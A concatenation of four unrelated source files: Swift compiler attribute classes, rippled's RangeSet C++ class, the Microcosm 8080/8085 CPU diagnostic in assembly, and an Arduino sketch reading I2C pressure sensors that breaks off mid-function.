TransposeAttr::TransposeAttr(bool implicit, SourceLoc atLoc,
SourceRange baseRange, TypeRepr *baseTypeRepr,
DeclNameRefWithLoc originalName,
IndexSubset *parameterIndices)
: DeclAttribute(DAK_Transpose, atLoc, baseRange, implicit),
BaseTypeRepr(baseTypeRepr), OriginalFunctionName(std::move(originalName)),
ParameterIndices(parameterIndices) {}
TransposeAttr *TransposeAttr::create(ASTContext &context, bool implicit,
SourceLoc atLoc, SourceRange baseRange,
TypeRepr *baseType,
DeclNameRefWithLoc originalName,
ArrayRef<ParsedAutoDiffParameter> params) {
unsigned size = totalSizeToAlloc<ParsedAutoDiffParameter>(params.size());
void *mem = context.Allocate(size, alignof(TransposeAttr));
return new (mem) TransposeAttr(implicit, atLoc, baseRange, baseType,
std::move(originalName), params);
}
TransposeAttr *TransposeAttr::create(ASTContext &context, bool implicit,
SourceLoc atLoc, SourceRange baseRange,
TypeRepr *baseType,
DeclNameRefWithLoc originalName,
IndexSubset *parameterIndices) {
void *mem = context.Allocate(sizeof(TransposeAttr), alignof(TransposeAttr));
return new (mem) TransposeAttr(implicit, atLoc, baseRange, baseType,
std::move(originalName), parameterIndices);
}
ImplementsAttr::ImplementsAttr(SourceLoc atLoc, SourceRange range,
TypeLoc ProtocolType,
DeclName MemberName,
DeclNameLoc MemberNameLoc)
: DeclAttribute(DAK_Implements, atLoc, range, /*Implicit=*/false),
ProtocolType(ProtocolType),
MemberName(MemberName),
MemberNameLoc(MemberNameLoc) {
}
ImplementsAttr *ImplementsAttr::create(ASTContext &Ctx, SourceLoc atLoc,
SourceRange range,
TypeLoc ProtocolType,
DeclName MemberName,
DeclNameLoc MemberNameLoc) {
void *mem = Ctx.Allocate(sizeof(ImplementsAttr), alignof(ImplementsAttr));
return new (mem) ImplementsAttr(atLoc, range, ProtocolType,
MemberName, MemberNameLoc);
}
TypeLoc ImplementsAttr::getProtocolType() const {
return ProtocolType;
}
TypeLoc &ImplementsAttr::getProtocolType() {
return ProtocolType;
}
CustomAttr::CustomAttr(SourceLoc atLoc, SourceRange range, TypeLoc type,
PatternBindingInitializer *initContext, Expr *arg,
ArrayRef<Identifier> argLabels,
ArrayRef<SourceLoc> argLabelLocs, bool implicit)
: DeclAttribute(DAK_Custom, atLoc, range, implicit),
type(type),
arg(arg),
initContext(initContext) {
hasArgLabelLocs = !argLabelLocs.empty();
numArgLabels = argLabels.size();
initializeCallArguments(argLabels, argLabelLocs,
/*hasTrailingClosure=*/false);
}
CustomAttr *CustomAttr::create(ASTContext &ctx, SourceLoc atLoc, TypeLoc type,
bool hasInitializer,
PatternBindingInitializer *initContext,
SourceLoc lParenLoc,
ArrayRef<Expr *> args,
ArrayRef<Identifier> argLabels,
ArrayRef<SourceLoc> argLabelLocs,
SourceLoc rParenLoc,
bool implicit) {
SmallVector<Identifier, 2> argLabelsScratch;
SmallVector<SourceLoc, 2> argLabelLocsScratch;
Expr *arg = nullptr;
if (hasInitializer) {
arg = packSingleArgument(ctx, lParenLoc, args, argLabels, argLabelLocs,
rParenLoc, nullptr, implicit, argLabelsScratch,
argLabelLocsScratch);
}
SourceRange range(atLoc, type.getSourceRange().End);
if (arg)
range.End = arg->getEndLoc();
size_t size = totalSizeToAlloc(argLabels, argLabelLocs,
/*hasTrailingClosure=*/false);
void *mem = ctx.Allocate(size, alignof(CustomAttr));
return new (mem) CustomAttr(atLoc, range, type, initContext, arg, argLabels,
argLabelLocs, implicit);
}
void swift::simple_display(llvm::raw_ostream &out, const DeclAttribute *attr) {
if (attr)
attr->print(out);
}
|
//------------------------------------------------------------------------------
/*
This file is part of rippled: https://github.com/ripple/rippled
Copyright (c) 2012, 2013 Ripple Labs Inc.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
//==============================================================================
#include <BeastConfig.h>
#include <ripple/basics/Log.h>
#include <ripple/basics/RangeSet.h>
#include <ripple/beast/unit_test.h>
#include <ripple/beast/core/LexicalCast.h>
#include <boost/foreach.hpp>
#include <cassert>
#include <cstdint>
namespace ripple {
// VFALCO NOTE std::min and std::max not good enough?
// NOTE Why isn't this written as a template?
// TODO Replace this with std calls.
//
inline std::uint32_t min (std::uint32_t x, std::uint32_t y)
{
return (x < y) ? x : y;
}
inline std::uint32_t max (std::uint32_t x, std::uint32_t y)
{
return (x > y) ? x : y;
}
bool RangeSet::hasValue (std::uint32_t v) const
{
for (auto const& it : mRanges)
{
if (contains (it, v))
return true;
}
return false;
}
std::uint32_t RangeSet::getFirst () const
{
const_iterator it = mRanges.begin ();
if (it == mRanges.end ())
return absent;
return it->first;
}
std::uint32_t RangeSet::getNext (std::uint32_t v) const
{
for (auto const& it : mRanges)
{
if (it.first > v)
return it.first;
if (contains (it, v + 1))
return v + 1;
}
return absent;
}
std::uint32_t RangeSet::getLast () const
{
const_reverse_iterator it = mRanges.rbegin ();
if (it == mRanges.rend ())
return absent;
return it->second;
}
std::uint32_t RangeSet::getPrev (std::uint32_t v) const
{
BOOST_REVERSE_FOREACH (const value_type & it, mRanges)
{
if (it.second < v)
return it.second;
if (contains (it, v + 1))
return v - 1;
}
return absent;
}
// Return the largest number not in the set that is less than the given number
//
std::uint32_t RangeSet::prevMissing (std::uint32_t v) const
{
std::uint32_t result = absent;
if (v != 0)
{
checkInternalConsistency ();
// Handle the case where the loop reaches the terminating condition
//
result = v - 1;
for (const_reverse_iterator cur = mRanges.rbegin (); cur != mRanges.rend (); ++cur)
{
// See if v-1 is in the range
if (contains (*cur, result))
{
result = cur->first - 1;
break;
}
}
}
assert (result == absent || !hasValue (result));
return result;
}
void RangeSet::setValue (std::uint32_t v)
{
if (!hasValue (v))
{
mRanges[v] = v;
simplify ();
}
}
void RangeSet::setRange (std::uint32_t minV, std::uint32_t maxV)
{
while (hasValue (minV))
{
++minV;
if (minV >= maxV)
return;
}
mRanges[minV] = maxV;
simplify ();
}
void RangeSet::clearValue (std::uint32_t v)
{
for (iterator it = mRanges.begin (); it != mRanges.end (); ++it)
{
if (contains (*it, v))
{
if (it->first == v)
{
if (it->second == v)
{
mRanges.erase (it);
}
else
{
std::uint32_t oldEnd = it->second;
mRanges.erase(it);
mRanges[v + 1] = oldEnd;
}
}
else if (it->second == v)
{
-- (it->second);
}
else
{
std::uint32_t oldEnd = it->second;
it->second = v - 1;
mRanges[v + 1] = oldEnd;
}
checkInternalConsistency();
return;
}
}
}
std::string RangeSet::toString () const
{
std::string ret;
for (auto const& it : mRanges)
{
if (!ret.empty ())
ret += ",";
if (it.first == it.second)
ret += beast::lexicalCastThrow <std::string> ((it.first));
else
ret += beast::lexicalCastThrow <std::string> (it.first) + "-"
+ beast::lexicalCastThrow <std::string> (it.second);
}
if (ret.empty ())
return "empty";
return ret;
}
void RangeSet::simplify ()
{
iterator it = mRanges.begin ();
while (1)
{
iterator nit = it;
if (++nit == mRanges.end ())
{
checkInternalConsistency();
return;
}
if (it->second >= (nit->first - 1))
{
// ranges overlap
it->second = std::max(it->second, nit->second);
mRanges.erase (nit);
}
else
{
it = nit;
}
}
}
std::size_t
RangeSet::lebesgue_sum() const
{
std::size_t sum = mRanges.size();
for (auto const& e : mRanges)
sum += e.second - e.first;
return sum;
}
void RangeSet::checkInternalConsistency () const noexcept
{
#ifndef NDEBUG
if (mRanges.size () > 1)
{
const_iterator const last = std::prev (mRanges.end ());
for (const_iterator cur = mRanges.begin (); cur != last; ++cur)
{
const_iterator const next = std::next (cur);
assert (cur->first <= cur->second);
assert (next->first <= next->second);
assert (cur->second + 1 < next->first);
}
}
else if (mRanges.size () == 1)
{
const_iterator const iter = mRanges.begin ();
assert (iter->first <= iter->second);
}
#endif
}
} // ripple
|
; Retrieved from
; https://brainwagon.org/2011/09/08/more-on-my-8080-emulator/
; via
; http://www.emulator101.com/full-8080-emulation.html
;
; JK, modified output functions to work with my emulator
;***********************************************************************
; MICROCOSM ASSOCIATES 8080/8085 CPU DIAGNOSTIC VERSION 1.0 (C) 1980
;***********************************************************************
;
;DONATED TO THE "SIG/M" CP/M USER'S GROUP BY:
;KELLY SMITH, MICROCOSM ASSOCIATES
;3055 WACO AVENUE
;SIMI VALLEY, CALIFORNIA, 93065
;(805) 527-9321 (MODEM, CP/M-NET (TM))
;(805) 527-0518 (VERBAL)
;
;
;
;
;
;
; ORG 00100H
;
;
;
JMP CPU ;JUMP TO 8080 CPU DIAGNOSTIC
;
;
;
DB 'MICROCOSM ASSOCIATES 8080/8085 CPU DIAGNOSTIC'
DB ' VERSION 1.0 (C) 1980'
;
;
;
;MESSAGE OUTPUT ROUTINE
;
MSG: XCHG ; DE point to string
LDAX D
MOV B,A ; init count as len
INX D ; point to first char
MLOOP: LDAX D
OUT 0
INX D
DCR B
JNZ MLOOP
MEND: RET
;
;
;
;CHARACTER OUTPUT ROUTINE
;
PCHAR: OUT 0
RET
;
;
;
BYTEO: PUSH PSW
CALL BYTO1
CALL PCHAR
POP PSW
CALL BYTO2
JMP PCHAR
BYTO1: RRC
RRC
RRC
RRC
BYTO2: ANI 0FH
CPI 0AH
JM BYTO3
ADI 7
BYTO3: ADI 30H
RET
;
;
;
;************************************************************
; MESSAGE TABLE FOR OPERATIONAL CPU TEST
;************************************************************
;
OKCPU:
DB 18
DB 'CPU IS OPERATIONAL'
;
NGCPU:
DB 30
DB 'CPU HAS FAILED! ERROR EXIT='
;
;
;
;************************************************************
; 8080/8085 CPU TEST/DIAGNOSTIC
;************************************************************
;
;NOTE: (1) PROGRAM ASSUMES "CALL",AND "LXI SP" INSTRUCTIONS WORK!
;
; (2) INSTRUCTIONS NOT TESTED ARE "HLT","DI","EI","RIM","SIM",
; AND "RST 0" THRU "RST 7"
;
;
;
;TEST JUMP INSTRUCTIONS AND FLAGS
;
CPU: LXI SP,STACK ;SET THE STACK POINTER
ANI 0 ;INITIALIZE A REG. AND CLEAR ALL FLAGS
JZ J010 ;TEST "JZ"
CALL CPUER
J010: JNC J020 ;TEST "JNC"
CALL CPUER
J020: JPE J030 ;TEST "JPE"
CALL CPUER
J030: JP J040 ;TEST "JP"
CALL CPUER
J040: JNZ J050 ;TEST "JNZ"
JC J050 ;TEST "JC"
JPO J050 ;TEST "JPO"
JM J050 ;TEST "JM"
JMP J060 ;TEST "JMP" (IT'S A LITTLE LATE,BUT WHAT THE HELL!
J050: CALL CPUER
J060: ADI 6 ;A=6,C=0,P=1,S=0,Z=0
JNZ J070 ;TEST "JNZ"
CALL CPUER
J070: JC J080 ;TEST "JC"
JPO J080 ;TEST "JPO"
JP J090 ;TEST "JP"
J080: CALL CPUER
J090: ADI 070H ;A=76H,C=0,P=0,S=0,Z=0
JPO J100 ;TEST "JPO"
CALL CPUER
J100: JM J110 ;TEST "JM"
JZ J110 ;TEST "JZ"
JNC J120 ;TEST "JNC"
J110: CALL CPUER
J120: ADI 081H ;A=F7H,C=0,P=0,S=1,Z=0
JM J130 ;TEST "JM"
CALL CPUER
J130: JZ J140 ;TEST "JZ"
JC J140 ;TEST "JC"
JPO J150 ;TEST "JPO"
J140: CALL CPUER
J150: ADI 0FEH ;A=F5H,C=1,P=1,S=1,Z=0
JC J160 ;TEST "JC"
CALL CPUER
J160: JZ J170 ;TEST "JZ"
JPO J170 ;TEST "JPO"
JM AIMM ;TEST "JM"
J170: CALL CPUER
;
;
;
;TEST ACCUMULATOR IMMEDIATE INSTRUCTIONS
;
AIMM: CPI 0 ;A=F5H,C=0,Z=0
JC CPIE ;TEST "CPI" FOR RE-SET CARRY
JZ CPIE ;TEST "CPI" FOR RE-SET ZERO
CPI 0F5H ;A=F5H,C=0,Z=1
JC CPIE ;TEST "CPI" FOR RE-SET CARRY ("ADI")
JNZ CPIE ;TEST "CPI" FOR RE-SET ZERO
CPI 0FFH ;A=F5H,C=1,Z=0
JZ CPIE ;TEST "CPI" FOR RE-SET ZERO
JC ACII ;TEST "CPI" FOR SET CARRY
CPIE: CALL CPUER
ACII: ACI 00AH ;A=F5H+0AH+CARRY(1)=0,C=1
ACI 00AH ;A=0+0AH+CARRY(0)=0BH,C=0
CPI 00BH
JZ SUII ;TEST "ACI"
CALL CPUER
SUII: SUI 00CH ;A=FFH,C=0
SUI 00FH ;A=F0H,C=1
CPI 0F0H
JZ SBII ;TEST "SUI"
CALL CPUER
SBII: SBI 0F1H ;A=F0H-0F1H-CARRY(0)=FFH,C=1
SBI 00EH ;A=FFH-OEH-CARRY(1)=F0H,C=0
CPI 0F0H
JZ ANII ;TEST "SBI"
CALL CPUER
ANII: ANI 055H ;A=F0H<AND>55H=50H,C=0,P=1,S=0,Z=0
CPI 050H
JZ ORII ;TEST "ANI"
CALL CPUER
ORII: ORI 03AH ;A=50H<OR>3AH=7AH,C=0,P=0,S=0,Z=0
CPI 07AH
JZ XRII ;TEST "ORI"
CALL CPUER
XRII: XRI 00FH ;A=7AH<XOR>0FH=75H,C=0,P=0,S=0,Z=0
CPI 075H
JZ C010 ;TEST "XRI"
CALL CPUER
;
;
;
;TEST CALLS AND RETURNS
;
C010: ANI 000H ;A=0,C=0,P=1,S=0,Z=1
CC CPUER ;TEST "CC"
CPO CPUER ;TEST "CPO"
CM CPUER ;TEST "CM"
CNZ CPUER ;TEST "CNZ"
CPI 000H
JZ C020 ;A=0,C=0,P=0,S=0,Z=1
CALL CPUER
C020: SUI 077H ;A=89H,C=1,P=0,S=1,Z=0
CNC CPUER ;TEST "CNC"
CPE CPUER ;TEST "CPE"
CP CPUER ;TEST "CP"
CZ CPUER ;TEST "CZ"
CPI 089H
JZ C030 ;TEST FOR "CALLS" TAKING BRANCH
CALL CPUER
C030: ANI 0FFH ;SET FLAGS BACK!
CPO CPOI ;TEST "CPO"
CPI 0D9H
JZ MOVI ;TEST "CALL" SEQUENCE SUCCESS
CALL CPUER
CPOI: RPE ;TEST "RPE"
ADI 010H ;A=99H,C=0,P=0,S=1,Z=0
CPE CPEI ;TEST "CPE"
ADI 002H ;A=D9H,C=0,P=0,S=1,Z=0
RPO ;TEST "RPO"
CALL CPUER
CPEI: RPO ;TEST "RPO"
ADI 020H ;A=B9H,C=0,P=0,S=1,Z=0
CM CMI ;TEST "CM"
ADI 004H ;A=D7H,C=0,P=1,S=1,Z=0
RPE ;TEST "RPE"
CALL CPUER
CMI: RP ;TEST "RP"
ADI 080H ;A=39H,C=1,P=1,S=0,Z=0
CP TCPI ;TEST "CP"
ADI 080H ;A=D3H,C=0,P=0,S=1,Z=0
RM ;TEST "RM"
CALL CPUER
TCPI: RM ;TEST "RM"
ADI 040H ;A=79H,C=0,P=0,S=0,Z=0
CNC CNCI ;TEST "CNC"
ADI 040H ;A=53H,C=0,P=1,S=0,Z=0
RP ;TEST "RP"
CALL CPUER
CNCI: RC ;TEST "RC"
ADI 08FH ;A=08H,C=1,P=0,S=0,Z=0
CC CCI ;TEST "CC"
SUI 002H ;A=13H,C=0,P=0,S=0,Z=0
RNC ;TEST "RNC"
CALL CPUER
CCI: RNC ;TEST "RNC"
ADI 0F7H ;A=FFH,C=0,P=1,S=1,Z=0
CNZ CNZI ;TEST "CNZ"
ADI 0FEH ;A=15H,C=1,P=0,S=0,Z=0
RC ;TEST "RC"
CALL CPUER
CNZI: RZ ;TEST "RZ"
ADI 001H ;A=00H,C=1,P=1,S=0,Z=1
CZ CZI ;TEST "CZ"
ADI 0D0H ;A=17H,C=1,P=1,S=0,Z=0
RNZ ;TEST "RNZ"
CALL CPUER
CZI: RNZ ;TEST "RNZ"
ADI 047H ;A=47H,C=0,P=1,S=0,Z=0
CPI 047H ;A=47H,C=0,P=1,S=0,Z=1
RZ ;TEST "RZ"
CALL CPUER
;
;
;
;TEST "MOV","INR",AND "DCR" INSTRUCTIONS
;
MOVI: MVI A,077H
INR A
MOV B,A
INR B
MOV C,B
DCR C
MOV D,C
MOV E,D
MOV H,E
MOV L,H
MOV A,L ;TEST "MOV" A,L,H,E,D,C,B,A
DCR A
MOV C,A
MOV E,C
MOV L,E
MOV B,L
MOV D,B
MOV H,D
MOV A,H ;TEST "MOV" A,H,D,B,L,E,C,A
MOV D,A
INR D
MOV L,D
MOV C,L
INR C
MOV H,C
MOV B,H
DCR B
MOV E,B
MOV A,E ;TEST "MOV" A,E,B,H,C,L,D,A
MOV E,A
INR E
MOV B,E
MOV H,B
INR H
MOV C,H
MOV L,C
MOV D,L
DCR D
MOV A,D ;TEST "MOV" A,D,L,C,H,B,E,A
MOV H,A
DCR H
MOV D,H
MOV B,D
MOV L,B
INR L
MOV E,L
DCR E
MOV C,E
MOV A,C ;TEST "MOV" A,C,E,L,B,D,H,A
MOV L,A
DCR L
MOV H,L
MOV E,H
MOV D,E
MOV C,D
MOV B,C
MOV A,B
CPI 077H
CNZ CPUER ;TEST "MOV" A,B,C,D,E,H,L,A
;
;
;
;TEST ARITHMETIC AND LOGIC INSTRUCTIONS
;
XRA A
MVI B,001H
MVI C,003H
MVI D,007H
MVI E,00FH
MVI H,01FH
MVI L,03FH
ADD B
ADD C
ADD D
ADD E
ADD H
ADD L
ADD A
CPI 0F0H
CNZ CPUER ;TEST "ADD" B,C,D,E,H,L,A
SUB B
SUB C
SUB D
SUB E
SUB H
SUB L
CPI 078H
CNZ CPUER ;TEST "SUB" B,C,D,E,H,L
SUB A
CNZ CPUER ;TEST "SUB" A
MVI A,080H
ADD A
MVI B,001H
MVI C,002H
MVI D,003H
MVI E,004H
MVI H,005H
MVI L,006H
ADC B
MVI B,080H
ADD B
ADD B
ADC C
ADD B
ADD B
ADC D
ADD B
ADD B
ADC E
ADD B
ADD B
ADC H
ADD B
ADD B
ADC L
ADD B
ADD B
ADC A
CPI 037H
CNZ CPUER ;TEST "ADC" B,C,D,E,H,L,A
MVI A,080H
ADD A
MVI B,001H
SBB B
MVI B,0FFH
ADD B
SBB C
ADD B
SBB D
ADD B
SBB E
ADD B
SBB H
ADD B
SBB L
CPI 0E0H
CNZ CPUER ;TEST "SBB" B,C,D,E,H,L
MVI A,080H
ADD A
SBB A
CPI 0FFH
CNZ CPUER ;TEST "SBB" A
MVI A,0FFH
MVI B,0FEH
MVI C,0FCH
MVI D,0EFH
MVI E,07FH
MVI H,0F4H
MVI L,0BFH
ANA A
ANA C
ANA D
ANA E
ANA H
ANA L
ANA A
CPI 024H
CNZ CPUER ;TEST "ANA" B,C,D,E,H,L,A
XRA A
MVI B,001H
MVI C,002H
MVI D,004H
MVI E,008H
MVI H,010H
MVI L,020H
ORA B
ORA C
ORA D
ORA E
ORA H
ORA L
ORA A
CPI 03FH
CNZ CPUER ;TEST "ORA" B,C,D,E,H,L,A
MVI A,000H
MVI H,08FH
MVI L,04FH
XRA B
XRA C
XRA D
XRA E
XRA H
XRA L
CPI 0CFH
CNZ CPUER ;TEST "XRA" B,C,D,E,H,L
XRA A
CNZ CPUER ;TEST "XRA" A
MVI B,044H
MVI C,045H
MVI D,046H
MVI E,047H
MVI H,TEMP0/0FFH ;HIGH BYTE OF TEST MEMORY LOCATION
MVI L,TEMP0&0FFH ;LOW BYTE OF TEST MEMORY LOCATION
MOV M,B
MVI B,000H
MOV B,M
MVI A,044H
CMP B
CNZ CPUER ;TEST "MOV" M,B AND B,M
MOV M,D
MVI D,000H
MOV D,M
MVI A,046H
CMP D
CNZ CPUER ;TEST "MOV" M,D AND D,M
MOV M,E
MVI E,000H
MOV E,M
MVI A,047H
CMP E
CNZ CPUER ;TEST "MOV" M,E AND E,M
MOV M,H
MVI H,TEMP0/0FFH
MVI L,TEMP0&0FFH
MOV H,M
MVI A,TEMP0/0FFH
CMP H
CNZ CPUER ;TEST "MOV" M,H AND H,M
MOV M,L
MVI H,TEMP0/0FFH
MVI L,TEMP0&0FFH
MOV L,M
MVI A,TEMP0&0FFH
CMP L
CNZ CPUER ;TEST "MOV" M,L AND L,M
MVI H,TEMP0/0FFH
MVI L,TEMP0&0FFH
MVI A,032H
MOV M,A
CMP M
CNZ CPUER ;TEST "MOV" M,A
ADD M
CPI 064H
CNZ CPUER ;TEST "ADD" M
XRA A
MOV A,M
CPI 032H
CNZ CPUER ;TEST "MOV" A,M
MVI H,TEMP0/0FFH
MVI L,TEMP0&0FFH
MOV A,M
SUB M
CNZ CPUER ;TEST "SUB" M
MVI A,080H
ADD A
ADC M
CPI 033H
CNZ CPUER ;TEST "ADC" M
MVI A,080H
ADD A
SBB M
CPI 0CDH
CNZ CPUER ;TEST "SBB" M
ANA M
CNZ CPUER ;TEST "ANA" M
MVI A,025H
ORA M
CPI 037H
CNZ CPUER ;TEST "ORA" M
XRA M
CPI 005H
CNZ CPUER ;TEST "XRA" M
MVI M,055H
INR M
DCR M
ADD M
CPI 05AH
CNZ CPUER ;TEST "INR","DCR",AND "MVI" M
LXI B,12FFH
LXI D,12FFH
LXI H,12FFH
INX B
INX D
INX H
MVI A,013H
CMP B
CNZ CPUER ;TEST "LXI" AND "INX" B
CMP D
CNZ CPUER ;TEST "LXI" AND "INX" D
CMP H
CNZ CPUER ;TEST "LXI" AND "INX" H
MVI A,000H
CMP C
CNZ CPUER ;TEST "LXI" AND "INX" B
CMP E
CNZ CPUER ;TEST "LXI" AND "INX" D
CMP L
CNZ CPUER ;TEST "LXI" AND "INX" H
DCX B
DCX D
DCX H
MVI A,012H
CMP B
CNZ CPUER ;TEST "DCX" B
CMP D
CNZ CPUER ;TEST "DCX" D
CMP H
CNZ CPUER ;TEST "DCX" H
MVI A,0FFH
CMP C
CNZ CPUER ;TEST "DCX" B
CMP E
CNZ CPUER ;TEST "DCX" D
CMP L
CNZ CPUER ;TEST "DCX" H
STA TEMP0
XRA A
LDA TEMP0
CPI 0FFH
CNZ CPUER ;TEST "LDA" AND "STA"
LHLD TEMPP
SHLD TEMP0
LDA TEMPP
MOV B,A
LDA TEMP0
CMP B
CNZ CPUER ;TEST "LHLD" AND "SHLD"
LDA TEMPP+1
MOV B,A
LDA TEMP0+1
CMP B
CNZ CPUER ;TEST "LHLD" AND "SHLD"
MVI A,0AAH
STA TEMP0
MOV B,H
MOV C,L
XRA A
LDAX B
CPI 0AAH
CNZ CPUER ;TEST "LDAX" B
INR A
STAX B
LDA TEMP0
CPI 0ABH
CNZ CPUER ;TEST "STAX" B
MVI A,077H
STA TEMP0
LHLD TEMPP
LXI D,00000H
XCHG
XRA A
LDAX D
CPI 077H
CNZ CPUER ;TEST "LDAX" D AND "XCHG"
XRA A
ADD H
ADD L
CNZ CPUER ;TEST "XCHG"
MVI A,0CCH
STAX D
LDA TEMP0
CPI 0CCH
STAX D
LDA TEMP0
CPI 0CCH
CNZ CPUER ;TEST "STAX" D
LXI H,07777H
DAD H
MVI A,0EEH
CMP H
CNZ CPUER ;TEST "DAD" H
CMP L
CNZ CPUER ;TEST "DAD" H
LXI H,05555H
LXI B,0FFFFH
DAD B
MVI A,055H
CNC CPUER ;TEST "DAD" B
CMP H
CNZ CPUER ;TEST "DAD" B
MVI A,054H
CMP L
CNZ CPUER ;TEST "DAD" B
LXI H,0AAAAH
LXI D,03333H
DAD D
MVI A,0DDH
CMP H
CNZ CPUER ;TEST "DAD" D
CMP L
CNZ CPUER ;TEST "DAD" B
STC
CNC CPUER ;TEST "STC"
CMC
CC CPUER ;TEST "CMC
MVI A,0AAH
CMA
CPI 055H
CNZ CPUER ;TEST "CMA"
ORA A ;RE-SET AUXILIARY CARRY
; DAA
; CPI 055H
; CNZ CPUER ;TEST "DAA"
; MVI A,088H
; ADD A
; DAA
; CPI 076H
; CNZ CPUER ;TEST "DAA"
; XRA A
; MVI A,0AAH
; DAA
; CNC CPUER ;TEST "DAA"
; CPI 010H
; CNZ CPUER ;TEST "DAA"
; XRA A
; MVI A,09AH
; DAA
; CNC CPUER ;TEST "DAA"
; CNZ CPUER ;TEST "DAA"
STC
MVI A,042H
RLC
CC CPUER ;TEST "RLC" FOR RE-SET CARRY
RLC
CNC CPUER ;TEST "RLC" FOR SET CARRY
CPI 009H
CNZ CPUER ;TEST "RLC" FOR ROTATION
RRC
CNC CPUER ;TEST "RRC" FOR SET CARRY
RRC
CPI 042H
CNZ CPUER ;TEST "RRC" FOR ROTATION
RAL
RAL
CNC CPUER ;TEST "RAL" FOR SET CARRY
CPI 008H
CNZ CPUER ;TEST "RAL" FOR ROTATION
RAR
RAR
CC CPUER ;TEST "RAR" FOR RE-SET CARRY
CPI 002H
CNZ CPUER ;TEST "RAR" FOR ROTATION
LXI B,01234H
LXI D,0AAAAH
LXI H,05555H
XRA A
PUSH B
PUSH D
PUSH H
PUSH PSW
LXI B,00000H
LXI D,00000H
LXI H,00000H
MVI A,0C0H
ADI 0F0H
POP PSW
POP H
POP D
POP B
CC CPUER ;TEST "PUSH PSW" AND "POP PSW"
CNZ CPUER ;TEST "PUSH PSW" AND "POP PSW"
CPO CPUER ;TEST "PUSH PSW" AND "POP PSW"
CM CPUER ;TEST "PUSH PSW" AND "POP PSW"
MVI A,012H
CMP B
CNZ CPUER ;TEST "PUSH B" AND "POP B"
MVI A,034H
CMP C
CNZ CPUER ;TEST "PUSH B" AND "POP B"
MVI A,0AAH
CMP D
CNZ CPUER ;TEST "PUSH D" AND "POP D"
CMP E
CNZ CPUER ;TEST "PUSH D" AND "POP D"
MVI A,055H
CMP H
CNZ CPUER ;TEST "PUSH H" AND "POP H"
CMP L
CNZ CPUER ;TEST "PUSH H" AND "POP H"
LXI H,00000H
DAD SP
SHLD SAVSTK ;SAVE THE "OLD" STACK-POINTER!
LXI SP,TEMP4
DCX SP
DCX SP
INX SP
DCX SP
MVI A,055H
STA TEMP2
CMA
STA TEMP3
POP B
CMP B
CNZ CPUER ;TEST "LXI","DAD","INX",AND "DCX" SP
CMA
CMP C
CNZ CPUER ;TEST "LXI","DAD","INX", AND "DCX" SP
LXI H,TEMP4
SPHL
LXI H,07733H
DCX SP
DCX SP
XTHL
LDA TEMP3
CPI 077H
CNZ CPUER ;TEST "SPHL" AND "XTHL"
LDA TEMP2
CPI 033H
CNZ CPUER ;TEST "SPHL" AND "XTHL"
MVI A,055H
CMP L
CNZ CPUER ;TEST "SPHL" AND "XTHL"
CMA
CMP H
CNZ CPUER ;TEST "SPHL" AND "XTHL"
LHLD SAVSTK ;RESTORE THE "OLD" STACK-POINTER
SPHL
LXI H,CPUOK
PCHL ;TEST "PCHL"
;
;
;
CPUER:
HLT ; JK, stopping it here to preserve registers
LXI H,NGCPU ;OUTPUT "CPU HAS FAILED ERROR EXIT=" TO CONSOLE
CALL MSG
XTHL
MOV A,H
CALL BYTEO ;SHOW ERROR EXIT ADDRESS HIGH BYTE
MOV A,L
CALL BYTEO ;SHOW ERROR EXIT ADDRESS LOW BYTE
HLT
;
;
;
CPUOK: LXI H,OKCPU ;OUTPUT "CPU IS OPERATIONAL" TO CONSOLE
CALL MSG
HLT
;
;
;
TEMPP: DW TEMP0 ;POINTER USED TO TEST "LHLD","SHLD",
; AND "LDAX" INSTRUCTIONS
;
TEMP0: DS 1 ;TEMPORARY STORAGE FOR CPU TEST MEMORY LOCATIONS
TEMP1: DS 1 ;TEMPORARY STORAGE FOR CPU TEST MEMORY LOCATIONS
TEMP2: DS 1 ;TEMPORARY STORAGE FOR CPU TEST MEMORY LOCATIONS
TEMP3: DS 1 ;TEMPORARY STORAGE FOR CPU TEST MEMORY LOCATIONS
TEMP4: DS 1 ;TEMPORARY STORAGE FOR CPU TEST MEMORY LOCATIONS
SAVSTK: DS 2 ;TEMPORARY STACK-POINTER STORAGE LOCATION
;
;
;
STACK EQU TEMPP+256 ;DE-BUG STACK POINTER STORAGE AREA
;
;
;
END
;
;
;
|
//
// Created by sheidman on 30/03/2020.
//
#include "Arduino.h"
#include <Wire.h>
#include "SDP610-500pa.h"
#include "NPA-700B-001G.h"
#include "ABPLANT001PG2A5.h"
#define MOVING_AVG_SIZE 3
SDP610_500pa sdp610(0x40);
NPA_700B_001G npa700G(0x28);
//ABPLANT001PG2A5 abp(0x28);
float data_p_diff;
float data_p;
float data_p_diff_ftrd;
float data_p1_ftrd;
float data_p2_ftrd;
void scanI2C();
unsigned long start_time = millis();
void setup() {
Wire.begin();
Serial.begin(115200);
delay(100);
if(!sdp610.init()) {
while (1) {
Serial.println("unable to init SDP610_500pa");
delay(1000);
}
}
if(!npa700G.init()) {
while (1) {
Serial.println("unable to init ABPLANT001PG2A5");
delay(1000);
}
}
Serial.println("---START---");
}
void loop() {
sdp610.getMeasurement(&data_p_diff);
// npa700G.getMeasurement(&data_p);
npa700G.getMeasurement(&data_p);
Serial.print('>');
Serial.write((const uint8_t*)&data_p_diff, 4);
Serial.write((const uint8_t*)&data_p, 4);
delay(80);
}
void scanI2C() {
byte error, address;
int nDevices;
Serial.println("Scanning...");
nDevices = 0;
for(address = 1; address < 127; address++ )
{
// The i2c_scanner uses the return value of
// the Write.endTransmisstion to see if
// a device did acknowledge to the address.
Wire.beginTransmission(address);
error = Wire.endTransmission();
if (error == 0)
{
Serial.print("I2C device found at address 0x");
if (address<16)
Serial.print("0");
Serial.print(address,HEX);
Serial.println(" !");
nDevices++;
}
else if (error==4)
{
Serial.print("Unknown error at address 0x");
if (address<16)
Serial.print("0");
Serial.println(address,HEX);
